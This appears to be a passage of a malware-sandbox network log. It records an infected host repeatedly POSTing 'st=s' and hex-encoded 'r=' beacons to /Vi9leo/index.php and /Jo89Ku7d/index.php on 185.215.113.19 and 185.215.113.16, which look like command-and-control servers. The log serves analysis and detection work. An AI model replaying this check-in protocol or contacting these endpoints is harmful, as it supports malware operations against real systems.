Jul 27, 2024 03:20:48.337305069 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49881	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:47.735271931 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:48.477030039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49884	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:48.450881004 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:49.222033024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:49.222932100 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:49.475392103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49885	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:48.598258018 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:49.341274023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49887	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:49.354722023 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:50.122216940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49888	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:49.598862886 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:50.339816093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:50.340816021 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:50.587516069 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49889	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:50.246016026 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:50.995266914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49890	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:50.706070900 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:51.481117010 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:51.482042074 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:51.728883028 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49891	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:51.005534887 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:51.745733976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49892	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:51.853579044 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:52.599849939 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:52.616343021 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:52.871949911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49893	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:51.854722023 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:52.610856056 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49902	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:52.625915051 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:53.418662071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49905	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:52.984189034 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:53.725243092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:53.726175070 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:53.973536968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49912	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:53.546920061 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:54.311690092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49915	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:54.088650942 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:54.848597050 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:54.850089073 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:55.119828939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49916	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:54.319829941 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:55.080593109 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49917	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:55.198184967 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:55.983938932 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49918	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:55.236258030 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:55.987555981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:55.990025043 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:56.234440088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49919	185.215.113.19	80

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:55.994810104 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
